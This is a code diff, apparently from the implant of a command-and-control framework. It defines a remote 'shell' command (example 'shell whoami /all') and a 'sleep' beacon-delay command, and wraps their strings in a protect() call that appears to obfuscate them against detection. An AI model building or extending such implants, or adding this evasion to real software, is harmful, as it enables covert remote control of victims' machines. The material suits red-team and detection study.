proc executeShell(ctx: AgentCtx, task: Task): TaskResult proc executeShell(ctx: AgentCtx, task: Task): TaskResult
@@ -6,13 +6,13 @@ proc executeShell(ctx: AgentCtx, task: Task): TaskResult
# Command definition (as seq[Command]) # Command definition (as seq[Command])
let commands*: seq[Command] = @[ let commands*: seq[Command] = @[
Command( Command(
name: "shell", name: protect("shell"),
commandType: CMD_SHELL, commandType: CMD_SHELL,
description: "Execute a shell command and retrieve the output.", description: protect("Execute a shell command and retrieve the output."),
example: "shell whoami /all", example: protect("shell whoami /all"),
arguments: @[ arguments: @[
Argument(name: "command", description: "Command to be executed.", argumentType: STRING, isRequired: true), Argument(name: protect("command"), description: protect("Command to be executed."), argumentType: STRING, isRequired: true),
Argument(name: "arguments", description: "Arguments to be passed to the command.", argumentType: STRING, isRequired: false) Argument(name: protect("arguments"), description: protect("Arguments to be passed to the command."), argumentType: STRING, isRequired: false)
], ],
execute: executeShell execute: executeShell
) )

View File

@@ -1,4 +1,4 @@
import ../common/types import ../common/[types, utils]
# Define function prototype # Define function prototype
proc executeSleep(ctx: AgentCtx, task: Task): TaskResult proc executeSleep(ctx: AgentCtx, task: Task): TaskResult
@@ -6,12 +6,12 @@ proc executeSleep(ctx: AgentCtx, task: Task): TaskResult
# Command definition (as seq[Command]) # Command definition (as seq[Command])
let commands* = @[ let commands* = @[
Command( Command(
name: "sleep", name: protect("sleep"),
commandType: CMD_SLEEP, commandType: CMD_SLEEP,
description: "Update sleep delay configuration.", description: protect("Update sleep delay configuration."),
example: "sleep 5", example: protect("sleep 5"),
arguments: @[ arguments: @[
Argument(name: "delay", description: "Delay in seconds.", argumentType: INT, isRequired: true) Argument(name: protect("delay"), description: protect("Delay in seconds."), argumentType: INT, isRequired: true)
], ],
execute: executeSleep execute: executeSleep
) )